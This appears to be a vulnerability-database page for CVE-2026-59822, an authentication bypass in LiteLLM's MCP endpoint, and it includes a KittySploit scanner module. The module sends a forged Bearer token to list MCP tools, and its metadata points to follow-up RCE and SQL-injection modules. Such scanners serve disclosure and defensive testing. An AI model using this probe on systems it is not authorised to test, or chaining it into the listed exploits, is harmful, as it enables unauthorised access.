LiteLLM CVE-2026-59822 MCP Auth Bypass Detect
| Reporter | Title | Published | Views | Family All 69 |
|---|---|---|---|---|
| CVE-2026-59822 | 8 Jul 202619:32 | – | attackerkb | |
| CVE-2026-59822 | 8 Jul 202621:39 | – | circl | |
| BerriAI LiteLLM Improper Authentication Vulnerability | 2 Sep 202600:00 | – | cisa_kev | |
| CISA Adds Seven Known Exploited Vulnerabilities to Catalog | 2 Sep 202612:00 | – | cisa | |
| CVE-2026-59822 | 8 Jul 202619:32 | – | cve | |
| CVE-2026-59822 LiteLLM: MCP Authentication Bypass via OAuth2 Passthrough Fallback | 8 Jul 202619:32 | – | cvelist | |
| EUVD-2026-42359 | 22 Jul 202622:38 | – | euvd | |
| LiteLLM: MCP Authentication Bypass via OAuth2 Passthrough Fallback | 22 Jul 202622:38 | – | github | |
| CVE-2026-59822 | 8 Oct 202619:36 | – | kitploit | |
| LiteLLM MCP Auth Bypass RCE (CVE-2026-59822) | 5 Oct 202614:20 | – | kittysploit |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Detect LiteLLM CVE-2026-59822 MCP Streamable HTTP OAuth2 fallback auth bypass."""
import secrets
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
"name": "LiteLLM CVE-2026-59822 MCP Auth Bypass Detect",
"description": (
"Detects CVE-2026-59822 in LiteLLM proxy before 1.84.0: failed LiteLLM key "
"validation on the MCP Streamable HTTP endpoint falls back to an empty "
"UserAPIKeyAuth object when a fabricated Authorization Bearer is supplied."
),
"author": ["KittySploit Team"],
"severity": "high",
"cve": ["CVE-2026-59822"],
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2026-59822",
"https://github.com/advisories/GHSA-7488-6r32-c95q",
],
"tags": [
"web",
"scanner",
"litellm",
"mcp",
"auth-bypass",
"llm",
"cve-2026-59822",
"vuln",
],
"agent": {
"risk": "active",
"effects": ["network_probe", "active_exploitation"],
"expected_requests": 4,
"reversible": True,
"approval_required": True,
"produces": ["tech_hints", "risk_signals", "exploit_paths"],
"cost": 1.2,
"noise": 0.35,
"value": 1.0,
"requires": {
"tech_hints_any": ["litellm", "openai"],
"endpoint_pattern_any": ["/mcp"],
},
"chain": {
"produces_capabilities": [
{"capability": "auth_bypass", "from_detail": "MCP OAuth fallback"},
],
"suggested_followups": [
"exploits/multi/http/litellm_cve_2026_59822_rce",
"scanner/http/litellm_cve_2026_42208_detect",
"auxiliary/admin/http/litellm_cve_2026_42208_sqli",
],
},
},
}
port = OptPort(4000, "LiteLLM proxy HTTP port", True)
ssl = OptBool(False, "Use HTTPS", True, advanced=True)
mcp_path = OptString("/mcp", "MCP Streamable HTTP endpoint", False, advanced=True)
def _path(self) -> str:
base = (self.path or "/").rstrip("/")
suffix = str(self.mcp_path or "/mcp")
if not suffix.startswith("/"):
suffix = f"/{suffix}"
return f"{base}{suffix}" if base else suffix
def _mcp_request(self, bearer: str | None):
headers = {"Accept": "application/json", "Content-Type": "application/json"}
if bearer is not None:
headers["Authorization"] = f"Bearer {bearer}"
body = {"jsonrpc": "2.0", "id": 1, "method": "tools/list", "params": {}}
return self.http_request(
method="POST",
path=self._path(),
headers=headers,
json=body,
allow_redirects=False,
)
@staticmethod
def _looks_like_tools(body: str) -> bool:
lowered = (body or "").lower()
return "tools" in lowered and ("result" in lowered or "name" in lowered)
def run(self):
health = self.http_request(method="GET", path="/health", allow_redirects=False)
root = self.http_request(method="GET", path="/", allow_redirects=False)
banner = ((health.text if health else "") + (root.text if root else "")).lower()
if "litellm" not in banner and "swagger" not in banner:
chat = self.http_request(method="GET", path="/docs", allow_redirects=False)
banner = (chat.text or "").lower()
if "litellm" not in banner:
return False
marker = f"kittysploit-{secrets.token_hex(6)}"
no_auth = self._mcp_request(None)
forged = self._mcp_request(marker)
if not forged:
return False
forged_code = int(forged.status_code or 0)
forged_body = forged.text or ""
no_auth_code = int(no_auth.status_code or 0) if no_auth else 0
no_auth_body = (no_auth.text or "") if no_auth else ""
if forged_code in (200, 202) and self._looks_like_tools(forged_body):
if no_auth_code in (401, 403) or "authentication" in no_auth_body.lower():
self.set_info(
severity="high",
cve="CVE-2026-59822",
reason="MCP tools/list succeeds with fabricated Bearer but not without auth",
path=self._path(),
)
return True
if forged_code in (200, 202) and "unauthorized" not in forged_body.lower():
if self._looks_like_tools(forged_body):
self.set_info(
severity="high",
cve="CVE-2026-59822",
reason="MCP endpoint accepted fabricated Bearer token",
path=self._path(),
)
return True
return False
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05 Oct 2026 14:20Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.18.2
CVSS 48.8
EPSS0.00836
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